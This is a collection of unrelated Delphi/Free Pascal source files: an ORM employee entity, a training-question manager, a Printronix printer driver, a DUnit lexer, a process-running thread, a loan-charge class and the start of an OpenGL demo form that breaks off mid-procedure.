BrickCamp.Model.IEmployee;
type
[Entity]
[Table('EMPLOYEE')]
TEmployee = class
private
[Column('EMP_NO', [cpRequired, cpPrimaryKey, cpNotNull, cpDontInsert], 0, 0, 0, 'primary key')]
[AutoGenerated]
FId: Integer;
private
FFirstName: string;
FLastName: string;
FPhoneExt: Nullable<string>;
FHireDate: TDateTime;
FDepartmentNumber: string;
FJobCode: string;
FJobGrade: SmallInt;
FJobCountry: string;
FSalary: Extended;
function GetDepartmentNumber: string;
function GetFirstName: string;
function GetHireDate: TDateTime;
function GetId: Integer;
function GetJobCode: string;
function GetJobCountry: string;
function GetJobGrade: SmallInt;
function GetLastName: string;
function GetPhoneExt: Nullable<string>;
function GetSalary: Extended;
procedure SetDepartmentNumber(const Value: string);
procedure SetFirstName(const Value: string);
procedure SetHireDate(const Value: TDateTime);
procedure SetJobCode(const Value: string);
procedure SetJobCountry(const Value: string);
procedure SetJobGrade(const Value: SmallInt);
procedure SetLastName(const Value: string);
procedure SetPhoneExt(const Value: Nullable<string>);
procedure SetSalary(const Value: Extended);
public
constructor Create(const Id: integer); reintroduce;
property ID: Integer read GetId;
[Column('FIRST_NAME', [cpNotNull])]
property FirstName: string read GetFirstName write SetFirstName;
[Column('LAST_NAME', [cpNotNull])]
property LastName: string read GetLastName write SetLastName;
[Column('PHONE_EXT')]
property PhoneExt: Nullable<string> read GetPhoneExt write SetPhoneExt;
[Column('HIRE_DATE', [cpNotNull])]
property HireDate: TDateTime read GetHireDate write SetHireDate;
[Column('DEPT_NO', [cpNotNull])]
property DepartmentNumber: string read GetDepartmentNumber write SetDepartmentNumber;
[Column('JOB_CODE', [cpNotNull])]
property JobCode: string read GetJobCode write SetJobCode;
[Column('JOB_GRADE', [cpNotNull])]
property JobGrade: SmallInt read GetJobGrade write SetJobGrade;
[Column('JOB_COUNTRY', [cpNotNull])]
property JobCountry: string read GetJobCountry write SetJobCountry;
[Column('SALARY', [cpNotNull])]
property Salary: Extended read GetSalary write SetSalary;
end;
implementation
{ TEmployee }
constructor TEmployee.Create(const Id: integer);
begin
FId := Id;
end;
function TEmployee.GetDepartmentNumber: string;
begin
Result := FDepartmentNumber;
end;
function TEmployee.GetFirstName: string;
begin
Result := FFirstName;
end;
function TEmployee.GetHireDate: TDateTime;
begin
Result := FHireDate;
end;
function TEmployee.GetId: Integer;
begin
Result := FId;
end;
function TEmployee.GetJobCode: string;
begin
Result := FJobCode;
end;
function TEmployee.GetJobCountry: string;
begin
Result := FJobCountry;
end;
function TEmployee.GetJobGrade: SmallInt;
begin
Result := FJobGrade;
end;
function TEmployee.GetLastName: string;
begin
Result := FLastName;
end;
function TEmployee.GetPhoneExt: Nullable<string>;
begin
Result := FPhoneExt;
end;
function TEmployee.GetSalary: Extended;
begin
Result := FSalary;
end;
procedure TEmployee.SetDepartmentNumber(const Value: string);
begin
FDepartmentNumber := Value;
end;
procedure TEmployee.SetFirstName(const Value: string);
begin
FFirstName := Value;
end;
procedure TEmployee.SetHireDate(const Value: TDateTime);
begin
FHireDate := Value;
end;
procedure TEmployee.SetJobCode(const Value: string);
begin
FJobCode := Value;
end;
procedure TEmployee.SetJobCountry(const Value: string);
begin
FJobCode := Value;
end;
procedure TEmployee.SetJobGrade(const Value: SmallInt);
begin
FJobGrade := Value;
end;
procedure TEmployee.SetLastName(const Value: string);
begin
FLastName := Value;
end;
procedure TEmployee.SetPhoneExt(const Value: Nullable<string>);
begin
FPhoneExt := Value;
end;
procedure TEmployee.SetSalary(const Value: Extended);
begin
FSalary := Value;
end;
end.
|
unit xTrainQuestionControl;
interface
uses xTrainQuestionInfo, System.SysUtils, System.Classes, xFunction,
xTrainQuestionAction, xSortControl, xQuestionInfo;
type
/// <summary>
/// 控制类
/// </summary>
TTrainQuestionControl = class
private
FTrainQuestionList: TStringList;
FTrainQuestionAction : TTrainQuestionAction;
function GetTrainQuestionInfo(nIndex: Integer): TTrainQuestion;
/// <summary>
/// 删除
/// </summary>
procedure DelInfo(nTrainQuestionID : Integer); overload;
public
constructor Create;
destructor Destroy; override;
/// <summary>
/// 列表
/// </summary>
property TrainQuestionList : TStringList read FTrainQuestionList write FTrainQuestionList;
property TrainQuestionInfo[nIndex:Integer] : TTrainQuestion read GetTrainQuestionInfo;
/// <summary>
/// 添加
/// </summary>
procedure AddTrainQuestion(ATrainQuestionInfo : TTrainQuestion);
/// <summary>
/// 删除
/// </summary>
procedure DelInfo(ATrainQuestion : TTrainQuestion); overload;
/// <summary>
/// 重命名
/// </summary>
procedure Rename(ATrainQuestion : TTrainQuestion; sNewName : string);
/// <summary>
/// 编辑
/// </summary>
procedure EditTrainQuestion(ATrainQuestionInfo : TTrainQuestion);
/// <summary>
/// 加载
/// </summary>
procedure LoadTrainQuestion;
/// <summary>
/// 清空
/// </summary>
procedure ClearTrainQuestion;
end;
implementation
{ TTrainQuestionControl }
procedure TTrainQuestionControl.AddTrainQuestion(
ATrainQuestionInfo: TTrainQuestion);
begin
if Assigned(ATrainQuestionInfo) then
begin
ATrainQuestionInfo.Tqid := FTrainQuestionAction.GetMaxSN + 1;
FTrainQuestionList.AddObject('', ATrainQuestionInfo);
FTrainQuestionAction.AddInfo(ATrainQuestionInfo);
end;
end;
procedure TTrainQuestionControl.ClearTrainQuestion;
var
i : Integer;
begin
for i := FTrainQuestionList.Count - 1 downto 0 do
begin
FTrainQuestionAction.DelInfo(TTrainQuestion(FTrainQuestionList.Objects[i]).Tqid);
TTrainQuestion(FTrainQuestionList.Objects[i]).Free;
FTrainQuestionList.Delete(i);
end;
end;
constructor TTrainQuestionControl.Create;
begin
FTrainQuestionList:= TStringList.Create;
FTrainQuestionAction := TTrainQuestionAction.Create;
LoadTrainQuestion;
end;
procedure TTrainQuestionControl.DelInfo(nTrainQuestionID: Integer);
var
i : Integer;
begin
for i := FTrainQuestionList.Count - 1 downto 0 do
begin
if TTrainQuestion(FTrainQuestionList.Objects[i]).Tqid = nTrainQuestionID then
begin
FTrainQuestionAction.DelInfo(nTrainQuestionID);
TTrainQuestion(FTrainQuestionList.Objects[i]).Free;
FTrainQuestionList.Delete(i);
Break;
end;
end;
end;
procedure TTrainQuestionControl.DelInfo(ATrainQuestion: TTrainQuestion);
var
i : Integer;
AInfo : TTrainQuestion;
begin
if not Assigned(ATrainQuestion) then
Exit;
// 目录
if ATrainQuestion.Tqtype = 0 then
begin
for i := FTrainQuestionList.Count - 1 downto 0 do
begin
AInfo := TTrainQuestion(FTrainQuestionList.Objects[i]);
if Pos(ATrainQuestion.Tqpath + '\' + ATrainQuestion.Tqqname, AInfo.Tqpath) = 1 then
begin
FTrainQuestionAction.DelInfo(AInfo.Tqid);
AInfo.Free;
FTrainQuestionList.Delete(i);
end;
end;
end;
DelInfo(ATrainQuestion.Tqid);
end;
destructor TTrainQuestionControl.Destroy;
begin
ClearStringList(FTrainQuestionList);
FTrainQuestionList.Free;
FTrainQuestionAction.Free;
inherited;
end;
procedure TTrainQuestionControl.EditTrainQuestion(
ATrainQuestionInfo: TTrainQuestion);
begin
FTrainQuestionAction.EditInfo(ATrainQuestionInfo);
end;
function TTrainQuestionControl.GetTrainQuestionInfo(
nIndex: Integer): TTrainQuestion;
begin
if (nIndex >= 0) and (nIndex < FTrainQuestionList.Count) then
begin
Result := TTrainQuestion(FTrainQuestionList.Objects[nIndex]);
end
else
begin
Result := nil;
end;
end;
procedure TTrainQuestionControl.LoadTrainQuestion;
var
i, nID : Integer;
AInfo : TTrainQuestion;
AQuestionInfo : TQuestionInfo;
begin
FTrainQuestionAction.LoadInfo( FTrainQuestionList);
for i := FTrainQuestionList.Count - 1 downto 0 do
begin
AInfo := TTrainQuestion(FTrainQuestionList.Objects[i]);
if AInfo.Tqtype = 1 then
begin
TryStrToInt(AInfo.Tqremark, nID);
AQuestionInfo := SortControl.GetQInfo(nID);
// 如果题库中不存在则不加载练习题,并删到数据库中的考题
if not Assigned(AQuestionInfo) then
begin
FTrainQuestionAction.DelInfo(AInfo.Tqid);
AInfo.Free;
FTrainQuestionList.Delete(i);
end
else
begin
AInfo.Tqqname := AQuestionInfo.QName;
AInfo.Tqcode1 := AQuestionInfo.QCode;
AInfo.TqCode2 := AQuestionInfo.QRemark2;
AInfo.TqRemark := IntToStr(AQuestionInfo.QID);
end;
end;
end;
end;
procedure TTrainQuestionControl.Rename(ATrainQuestion: TTrainQuestion; sNewName : string);
var
i : Integer;
AInfo : TTrainQuestion;
begin
if not Assigned(ATrainQuestion) then
Exit;
// 目录
if ATrainQuestion.Tqtype = 0 then
begin
for i := FTrainQuestionList.Count - 1 downto 0 do
begin
AInfo := TTrainQuestion(FTrainQuestionList.Objects[i]);
if Pos(ATrainQuestion.Tqpath + '\' + ATrainQuestion.Tqqname, AInfo.Tqpath) = 1 then
begin
AInfo.Tqpath := StringReplace(AInfo.Tqpath,ATrainQuestion.Tqpath + '\' + ATrainQuestion.Tqqname, ATrainQuestion.Tqpath + '\' + sNewName, []) ;
FTrainQuestionAction.EditInfo(AInfo);
end;
end;
end;
ATrainQuestion.Tqqname := sNewName;
FTrainQuestionAction.EditInfo(ATrainQuestion);
end;
end.
|
unit uPrintronixT5000;
interface
uses
Classes, ScktComp, AssComm;
type
TPrintronixT5000PortType = (SerialAndParallel, Ethernet);
TPrintronixT5000Status = record
StatusPaperOut : boolean;
StatusOnline : boolean;
StatusBufferFull : boolean;
StatusHeadUp : boolean;
StatusRibbonOut : boolean;
end;
TPrintronixT5000ReadStatus = procedure(status : TPrintronixT5000Status) of object;
TPrintronixT5000 = class(TComponent)
private
FComPort : TAssComm;
FLanSocket : TClientSocket;
FPortType : TPrintronixT5000PortType;
FLanAddress : string;
FLanPort : integer;
FSerialPortNo : TPort;
FSendData : string;
FReadData : string;
FOnReadStatus : TPrintronixT5000ReadStatus;
function ReadPrinterStatus(aStatus: string): boolean;
procedure PrintEventCharReceived(Sender: TObject; const ACount: Integer);
procedure PrinterSocketRead(Sender: TObject; Socket: TCustomWinSocket);
procedure PrinterSocketWrite(Sender: TObject; Socket: TCustomWinSocket);
public
procedure Open;
procedure Close;
procedure PrintScript(script : string);
procedure GetStatus;
property PortType : TPrintronixT5000PortType read FPortType write FPortType;
property LanAddress : string read FLanAddress write FLanAddress;
property LanPort : integer read FLanPort write FLanPort;
property SerialPortNo : TPort read FSerialPortNo write FSerialPortNo;
published
property OnReadStatus : TPrintronixT5000ReadStatus read FOnReadStatus write FOnReadStatus;
end;
implementation
uses
SysUtils, AssString, fChannelSpy, Dialogs;
type
TPrintronixT5000SendDataType = (sendDataTypeReadStatus, sendDataTypePrintScript);
{ PrintronixT5000 }
procedure TPrintronixT5000.Close;
begin
if PortType = SerialAndParallel then
begin
if FComPort <> nil then
FComPort.CloseComm;
end
else if PortType = Ethernet then
begin
if FLanSocket <> nil then
FLanSocket.Active := False;
end;
end;
procedure TPrintronixT5000.GetStatus;
var
sendData : string;
begin
sendData := Chr($02) + '~HS' + Chr($03) + Chr($13) + Chr($10);
if PortType = SerialAndParallel then
begin
FComPort.ClearBuffer;
FComPort.WriteString(sendData);
end
else if PortType = Ethernet then
begin
FLanSocket.Tag := Ord(sendDataTypeReadStatus);
FSendData := sendData;
FLanSocket.Active := True;
end;
end;
procedure TPrintronixT5000.Open;
begin
if PortType = SerialAndParallel then
begin
FComPort := TAssComm.Create(Self);
FComPort.OnEventCharReceived := PrintEventCharReceived;
FComPort.Port := FSerialPortNo;
FComPort.OpenComm;
end
else if PortType = Ethernet then
begin
FLanSocket := TClientSocket.Create(Self);
FLanSocket.Port := LanPort;
FLanSocket.Address := LanAddress;
FLanSocket.ClientType := ctNonBlocking;
FLanSocket.OnRead := PrinterSocketRead;
FLanSocket.OnWrite := PrinterSocketWrite;
end;
end;
procedure TPrintronixT5000.PrinterSocketRead(Sender: TObject;
Socket: TCustomWinSocket);
var
tmpData : string;
begin
if FLanSocket.Tag = Ord(sendDataTypeReadStatus) then
begin
if Socket.ReceiveLength <= 0 then exit;
tmpData := Socket.ReceiveText;
if (Trim(tmpData) <> '') then
begin
FReadData := FReadData + tmpData;
if ReadPrinterStatus(FReadData) then
begin
FReadData := '';
FLanSocket.Active := False;
end;
end;
end
else if FLanSocket.Tag = Ord(sendDataTypePrintScript) then
begin
FLanSocket.Active := False;
end;
end;
procedure TPrintronixT5000.PrinterSocketWrite(Sender: TObject;
Socket: TCustomWinSocket);
begin
FReadData := '';
Socket.SendText(FSendData)
end;
procedure TPrintronixT5000.PrintEventCharReceived(Sender: TObject;
const ACount: Integer);
var
tmpData : String;
begin
if ACount < 1 then exit;
tmpData := FComPort.ReadComm(ACount);
if (ACount <> 0) and (Trim(tmpData) <> '') then
begin
FReadData := FReadData + tmpData;
if ReadPrinterStatus(FReadData) then
FComPort.ClearBuffer;
end;
end;
procedure TPrintronixT5000.PrintScript(script: string);
var
aFile : TextFile;
begin
if PortType = SerialAndParallel then
begin
AssignFile(aFile, 'LPT1');
ReWrite(aFile);
Write(aFile, script);
CloseFile(aFile);
end
else if PortType = Ethernet then
begin
FLanSocket.Tag := Ord(sendDataTypePrintScript);
FSendData := script;
FLanSocket.Active := True;
end;
end;
function TPrintronixT5000.ReadPrinterStatus(aStatus: string): boolean;
var
parsedStatus : string;
arrStatus : TStringList;
i : integer;
status : TPrintronixT5000Status;
begin
result := False;
if Length(aStatus) >= 82 then
begin
for i := 0 to Pred(Length(aStatus)) do
begin
if aStatus[I+1] = Chr($02) then break;
end;
if (aStatus[I+1] = Chr($02)) and (aStatus[I+34] = Chr($03)) and
(aStatus[I+37] = Chr($02)) and (aStatus[I+70] = Chr($03)) and
(aStatus[I+73] = Chr($02)) and (aStatus[I+80] = Chr($03)) then
begin
parsedStatus := Copy(aStatus, I+2, 32) + ',' + Copy(aStatus, I+38, 32) + ',' + Copy(aStatus, I+74, 6);
arrStatus := TStringList.Create;
SplitWord(parsedStatus, [','], arrStatus);
status.StatusPaperOut := not (StrToBool(arrStatus[1]));
status.StatusOnline := not (StrToBool(arrStatus[2]));
status.StatusBufferFull := not (StrToBool(arrStatus[5]));
status.StatusHeadUp := not (StrToBool(arrStatus[14]));
status.StatusRibbonOut := not (StrToBool(arrStatus[15]));
if Assigned(OnReadStatus) then
OnReadStatus(status);
arrStatus.Free;
result := True;
end;
end;
end;
end.
|
unit xpLex;
(*
* The contents of this file are subject to the Mozilla Public
* License Version 1.1 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy of
* the License at http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS
* IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or
* implied. See the License for the specific language governing
* rights and limitations under the License.
*
* This code was inspired to expidite the creation of unit tests
* for use the Dunit test frame work.
*
* The Initial Developer of XPGen is Michael A. Johnson.
* Portions created The Initial Developer is Copyright (C) 2000.
* Portions created by The DUnit Group are Copyright (C) 2000.
* All rights reserved.
*
* Contributor(s):
* Michael A. Johnson <majohnson@golden.net>
* Juanco Aņez <juanco@users.sourceforge.net>
* Chris Morris <chrismo@users.sourceforge.net>
* Jeff Moore <JeffMoore@users.sourceforge.net>
* The DUnit group at SourceForge <http://dunit.sourceforge.net>
*
*)
(*
Unit : xpLex
Description : provides a lexical analyzer with which the xpParser can
rely on to provide tokens from a source stream. This code
has a very strong resemblance the TPARSER class found in
delphi's classes unit. However, when I was just about done and
ready to release, I discovered that Tparser cannot deal with text
inside a comment and would get tripped up trying to parse:
{ this is delphi's fault }.
Programmer : mike
Date : 05-Aug-2000
*)
interface
uses
classes;
const
toEOF = Char(0);
toSymbol = Char(1);
toString = Char(2);
toBraceComment = char(3);
toSlashComment = char(4);
toLegacyComment = char(5);
toEOL = char(6);
toNull = char(7);
lambdaSet: set of char = [toBraceComment, toSlashComment,
toLegacyComment, toEOL, toNull];
type
TActionResult = (arLambda, arRecognized, arTransition);
TLegacyCommentState = (lcsOpenParen, lcsOpenStar, lcsLambda, lcsCloseStar);
TSlashCommentState = (scsSlash, scsLambda);
TActionState = class
protected
fTokenStr: string;
public
constructor create;
function doAction(input: char): TActionResult; virtual; abstract;
function StartAccept(input: char): boolean; virtual;
function TokenStr: string;
procedure Reset; virtual;
function TokenType: char; virtual;
end;
TDefaultState = class(TActionState)
public
function doAction(input: char): TActionResult; override;
function StartAccept(input: char): boolean; override;
function TokenType: char; override;
end;
TNullCharacter = class(TActionState)
private
fSourceLine: integer;
public
constructor create;
function doAction(input: char): TActionResult; override;
function StartAccept(input: char): boolean; override;
property SourceLine: integer read fSourceLine;
function TokenType: char; override;
end;
TSrcLine = class(TActionState)
protected
FSourceLine: Integer;
public
constructor create;
function doAction(input: char): TActionResult; override;
function StartAccept(input: char): boolean; override;
property SourceLine: integer read fSourceLine;
function TokenType: char; override;
end;
TIdentToken = class(TActionState)
public
constructor Create;
function doAction(input: char): TActionResult; override;
function StartAccept(input: char): boolean; override;
function TokenType: char; override;
end;
TConstStringToken = class(TActionState)
public
constructor Create;
function doAction(input: char): TActionResult; override;
function StartAccept(input: char): boolean; override;
function TokenType: char; override;
end;
TBraceComment = class(TSrcLine)
public
constructor Create;
function doAction(input: char): TActionResult; override;
function StartAccept(input: char): boolean; override;
function TokenType: char; override;
end;
TLegacyComment = class(TSrcLine)
protected
tokenState: TLegacyCommentState;
public
constructor Create;
function doAction(input: char): TActionResult; override;
function StartAccept(input: char): boolean; override;
function TokenType: char; override;
end;
TSlashComment = class(TSrcLine)
tokenState: TSlashCommentState;
public
constructor Create;
function doAction(input: char): TActionResult; override;
function StartAccept(input: char): boolean; override;
function TokenType: char; override;
end;
TLexer = class
private
function TokenType: Char;
{ procedure SkipBlanks;}
protected
FStreamSize: Longint;
FBuffer: PChar;
FBufPtr: PChar;
FToken: Char;
tokenStr: string;
stateActionList: TList;
activeState: TActionState;
{ procedure SkipBlanks;}
procedure Error(errMsg: string);
function GetSrcLine: Integer;
procedure CreateStateActions;
procedure ReleaseStateActions;
function FindState(inputChar: char): TActionState;
public
constructor Create(Stream: TStream);
destructor Destroy; override;
function NextToken: Char;
function TokenString: string;
property SourceLine: Integer read GetSrcLine;
property Token: Char read TokenType;
end;
implementation
uses
ListSupport,
SysUtils;
{ TLexer }
constructor TLexer.Create(Stream: TStream);
begin
CreateStateActions;
activeState := nil;
tokenStr := '';
FStreamSize := Stream.Size+1;
GetMem(FBuffer, fStreamSize);
FBufPtr := FBuffer;
Stream.Read(FBufPtr[0], Stream.Size);
FBufPtr[Stream.Size] := #0;
FBufPtr := FBuffer;
{ find a state }
NextToken;
end;
procedure TLexer.CreateStateActions;
begin
stateActionList := TList.Create;
stateActionList.Add(TBraceComment.Create);
stateActionList.Add(TConstStringToken.Create);
stateActionList.Add(TIdentToken.Create);
stateActionList.Add(TLegacyComment.Create);
stateActionList.Add(TNullCharacter.Create);
stateActionList.Add(TSlashComment.Create);
stateActionList.Add(TSrcLine.Create);
stateActionList.Add(TDefaultState.Create);
end;
destructor TLexer.Destroy;
begin
ReleaseStateActions;
if FBuffer <> nil then
begin
FreeMem(FBuffer, FStreamSize);
end;
end;
procedure TLexer.Error(errMsg: string);
begin
raise exception.create(errMsg);
end;
function TLexer.FindState(inputChar: char): TActionState;
var
stateIter: integer;
stateAction: TActionState;
begin
result := nil;
for stateIter := 0 to stateActionList.Count - 1 do
begin
stateAction := stateActionList[stateIter];
if stateAction.StartAccept(inputChar) then
begin
{ reset the internal state }
stateAction.Reset;
result := stateAction;
exit;
end;
end;
end;
function TLexer.GetSrcLine: Integer;
var
stateIter: integer;
lineRef: TSrcLine;
stateAction: TActionState;
begin
result := 0;
for stateIter := 0 to stateActionList.Count - 1 do
begin
stateAction := stateActionList[stateIter];
if stateAction is TSrcLine then
begin
lineRef := TSrcLine(stateAction);
result := result + lineRef.SourceLine;
end;
end;
end;
function TLexer.NextToken: Char;
var
actionResult: TActionResult;
begin
repeat
activeState := FindState(FBufPtr^);
repeat
actionResult := activeState.doAction(FBufPtr^);
case actionResult of
arLambda,
arRecognized:
begin
Inc(FBufPtr);
end;
end;
until (actionResult <> arLambda);
until not (activeState.TokenType in lambdaSet);
result := activeState.TokenType;
end;
procedure TLexer.ReleaseStateActions;
begin
ListFreeObjectItems(stateActionList);
stateActionList.free;
end;
function TLexer.TokenString: string;
begin
result := activeState.TokenStr;
end;
function TLexer.TokenType: Char;
begin
result := activeState.TokenType;
end;
{ TActionState }
constructor TActionState.create;
begin
inherited create;
end;
procedure TActionState.Reset;
begin
ftokenStr := '';
end;
function TActionState.StartAccept(input: char): boolean;
begin
result := false;
end;
function TActionState.TokenStr: string;
begin
result := ftokenStr;
end;
function TActionState.TokenType: char;
begin
result := toNull;
end;
{ TSrcLine }
constructor TSrcLine.create;
begin
inherited Create;
FSourceLine := 1;
end;
function TSrcLine.doAction(input: char): TActionResult;
begin
result := arTransition;
if input = #10 then
begin
inc(fSourceLine);
result := arRecognized
end;
end;
function TSrcLine.StartAccept(input: char): boolean;
begin
result := input = #10;
end;
function TSrcLine.TokenType: char;
begin
result := toEOL;
end;
{ TIdentToken }
constructor TIdentToken.Create;
begin
inherited create;
Reset;
end;
function TIdentToken.doAction(input: char): TActionResult;
begin
if ftokenStr = '' then
begin
if input in ['A'..'Z', 'a'..'z', '_'] then
begin
ftokenStr := ftokenStr + input;
result := arLambda;
end
else
result := arTransition;
end
else
if input in ['A'..'Z', 'a'..'z', '0'..'9', '_'] then
begin
ftokenStr := ftokenStr + input;
result := arLambda;
end
else
begin
result := arTransition;
end;
end;
function TIdentToken.StartAccept(input: char): boolean;
begin
result := input in ['A'..'Z', 'a'..'z', '_'];
end;
function TIdentToken.TokenType: char;
begin
result := toSymbol;
end;
{ TConstStringToken }
constructor TConstStringToken.Create;
begin
end;
function TConstStringToken.doAction(input: char): TActionResult;
begin
if ftokenStr = '' then
begin
if input in [''''] then
begin
ftokenStr := ftokenStr + input;
result := arLambda;
end
else
result := arTransition;
end
else
begin
result := arLambda;
ftokenStr := ftokenStr + input;
if input in [''''] then
result := arRecognized;
end;
end;
function TConstStringToken.StartAccept(input: char): boolean;
begin
result := input in [''''];
end;
function TConstStringToken.TokenType: char;
begin
result := toString;
end;
{ TBraceComment }
constructor TBraceComment.Create;
begin
inherited create;
end;
function TBraceComment.doAction(input: char): TActionResult;
begin
if ftokenStr = '' then
begin
if input in ['{'] then
begin
ftokenStr := ftokenStr + input;
result := arLambda;
end
else
begin
result := arTransition;
end;
end
else
begin
ftokenStr := ftokenStr + input;
result := arLambda;
if input in ['}'] then
result := arRecognized;
end;
end;
function TBraceComment.StartAccept(input: char): boolean;
begin
result := input in ['{']
end;
function TBraceComment.TokenType: char;
begin
result := toBraceComment;
end;
{ TLegacyComment }
constructor TLegacyComment.Create;
begin
inherited create;
reset;
end;
function TLegacyComment.doAction(input: char): TActionResult;
begin
if ftokenStr = '' then
begin
if input in ['('] then
begin
ftokenStr := ftokenStr + input;
result := arLambda;
tokenState := lcsOpenParen;
end
else
result := arTransition;
end
else
begin
result := arLambda;
case tokenState of
lcsOpenParen:
begin
if input in ['*'] then
begin
ftokenStr := ftokenStr + input;
tokenState := lcsOpenStar;
end
else
result := arTransition;
end;
lcsLambda,
lcsOpenStar:
begin
if input in ['*'] then
begin
ftokenStr := ftokenStr + input;
tokenState := lcsCloseStar;
end
else
begin
ftokenStr := ftokenStr + input;
tokenState := lcslambda;
end;
end;
lcsCloseStar:
begin
if input in [')'] then
begin
ftokenStr := ftokenStr + input;
result := arRecognized;
end
else
begin
ftokenStr := ftokenStr + input;
tokenState := lcslambda;
end;
end;
end;
end;
end;
function TLegacyComment.StartAccept(input: char): boolean;
begin
result := input in ['('];
end;
function TLegacyComment.TokenType: char;
begin
result := toLegacyComment;
if length(ftokenStr) = 1 then
result := ftokenStr[1];
end;
{ TSlashComment }
constructor TSlashComment.Create;
begin
inherited create;
end;
function TSlashComment.doAction(input: char): TActionResult;
begin
if ftokenStr = '' then
begin
if input in ['/'] then
begin
ftokenStr := ftokenStr + input;
result := arLambda;
tokenState := scsSlash;
end
else
result := arTransition;
end
else
begin
result := arLambda;
case tokenState of
scsSlash:
begin
case input of
'/':
begin
tokenState := scsLambda;
ftokenStr := ftokenStr + input;
end
else
begin
result := arTransition;
end;
end;
end;
scsLambda:
begin
case input of
#10:
begin
result := arRecognized;
end;
else
ftokenStr := ftokenStr + input;
end;
end;
end;
end;
end;
function TSlashComment.StartAccept(input: char): boolean;
begin
result := input in ['/'];
end;
function TSlashComment.TokenType: char;
begin
result := toSlashComment;
if length(ftokenStr) = 1 then
result := ftokenStr[1];
end;
{ TNullCharacter }
constructor TNullCharacter.Create;
begin
inherited Create;
end;
function TNullCharacter.doAction(input: char): TActionResult;
begin
case input of
#0..#9,
#11..#32: result := arLambda;
else
result := arTransition;
end;
end;
function TNullCharacter.StartAccept(input: char): boolean;
begin
result := (input in [#0..#9]) or
(input in [#11..#32]);
end;
function TNullCharacter.TokenType: char;
begin
result := toNull;
end;
{ TDefaultState }
function TDefaultState.doAction(input: char): TActionResult;
begin
ftokenStr := ftokenStr + input;
result := arRecognized;
end;
function TDefaultState.StartAccept(input: char): boolean;
begin
result := true;
end;
function TDefaultState.TokenType: char;
begin
result := inherited TokenType;
if ftokenStr <> '' then
result := ftokenStr[1];
end;
end.
|
unit threadprocess;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils,
{$IFDEF Windows}
Windows,
{$endif}
otlog, Process;
type
TShowStatusEvent = procedure(Status: String) of Object;
TThreadProcess = class(TThread)
private
Log: TOTLog;
Cmdline: string;
Output: string;
fStatusText : string;
showM: boolean;
procedure ShowStatus;
public
constructor Create(CreateSuspended: boolean; mcmdline: string; moutput: string; mLog: TOTLog; mshowM: boolean);
FOnShowStatus: TShowStatusEvent;
property OnShowStatus: TShowStatusEvent read FOnShowStatus write FOnShowStatus;
procedure Execute; override;
end;
implementation
constructor TThreadProcess.Create(CreateSuspended: boolean; mcmdline: string; moutput: string; mLog: TOTLog; mshowM: boolean);
begin
self.Cmdline := mcmdline;
self.Output := moutput;
self.log := mLog;
self.showM:= mshowM;
FreeOnTerminate := True;
inherited Create(CreateSuspended);
end;
procedure TThreadProcess.ShowStatus;
// this method is executed by the mainthread and can therefore access all GUI elements.
begin
if Assigned(FOnShowStatus) then
begin
FOnShowStatus(fStatusText);
end;
end;
procedure TThreadProcess.Execute;
var
Process: TProcess;
AStringList: TStringList;
begin
AStringList := TStringList.Create;
Process := TProcess.Create(nil);
Process.CommandLine := self.cmdline;
Process.Options := Process.Options + [poWaitOnExit, poUsePipes];
Process.ShowWindow := swoHIDE;
Process.Execute;
AStringList.LoadFromStream(Process.Output);
Log.add('Thread Finished'+AStringList.Text);
fStatusText := AStringList.Text;
AStringList.Free;
Process.Free;
IF (self.showM) AND (fStatusText <> '') THEN
Synchronize(@Showstatus);
IF self.Output <> '' THEN BEGIN
{$IFDEF Windows}
ShellExecute(self.Handle,nil,PChar(self.Output),'','',SW_SHOWNORMAL);
{$endif}
END
end;
end.
|
unit LoanCharge;
interface
type
TLoanCharge = class(TObject)
private
FChargeType: string;
FChargeName: string;
FAmount: real;
public
property ChargeType: string read FChargeType write FChargeType;
property ChargeName: string read FChargeName write FChargeName;
property Amount: real read FAmount write FAmount;
constructor Create; overload;
constructor Create(const chargeType, chargeName: string; const amt: real); overload;
end;
implementation
constructor TLoanCharge.Create;
begin
inherited;
end;
constructor TLoanCharge.Create(const chargeType, chargeName: string; const amt: real);
begin
FChargeType := chargeType;
FChargeName := chargeName;
FAmount := amt;
end;
end.
|
{**********************************************************************}
{* Иллюстрация к книге "OpenGL в проектах Delphi" *}
{* Краснов М.В. softgl@chat.ru *}
{**********************************************************************}
// (c) Mahesh Venkitachalam 1999. http://home.att.net/~bighesh
unit frmMain;
interface
uses
Windows, Messages, Classes, Graphics, Forms, ExtCtrls, Menus, Controls,
Dialogs, SysUtils, OpenGL;
type
TfrmGL = class(TForm)
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormResize(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure Timer1Timer(Sender: TObject);
private
DC: HDC;
hrc: HGLRC;
qobj : GLUquadricObj;
spin : Integer;
fToggle : Boolean;
step : GLfloat;
dz : GLfloat;
// For pixel...
pixels : Array [0..254, 0..254, 0..3] of GLUByte;
first : Boolean;
procedure Init;
procedure SetDCPixelFormat;
procedure MakeImage;
procedure MakeSphere;
procedure MakeWalls;
protected
procedure WMPaint(var Msg: TWMPaint); message WM_PAINT;
end;
var
frmGL: TfrmGL;
const
sphere = 1;
walls = 2;
zapImage = 3;
// light
light1_pos : Array [0..3] of GLfloat = (20.0,10.0,40.0,1.0);
cyl_amb_dif : Array [0..3] of GLfloat = (0.2,0.8,1.0,1.0);
cyl_spec : Array [0..3] of GLfloat = (1.0,1.0,1.0,1.0);
sph_amb_dif : Array [0..3] of GLfloat = (0.8,0.2,0.5,1.0);
sph_spec : Array [0..3] of GLfloat = (1.0,1.0,1.0,1.0);
implementation
{$R *.DFM}
procedure TfrmGL.MakeSphere;
begin
glNewList(sphere,GL_COMPILE);
glMaterialfv(GL_FRONT,GL_AMBIENT_AND_DIFFUSE, @sph_amb_dif);
glMaterialfv(GL_FRONT,GL_SPECULAR,@sph_spec);
glMaterialf(GL_FRONT,GL_SHININESS,100.0);
glPushMatrix;
gluSphere(qobj,1.0,20,20);
glRotatef(270.0,1.0,0.0,0.0);
gluCylinder(qobj,0.5,0.5,2.0,20,20);
glPopMatrix;
glEndList;
end;
procedure TfrmGL.MakeWalls;
begin
glNewList(walls,GL_COMPILE);
glMaterialfv(GL_FRONT,GL_AMBIENT_AND_DIFFUSE, @cyl_amb_dif);
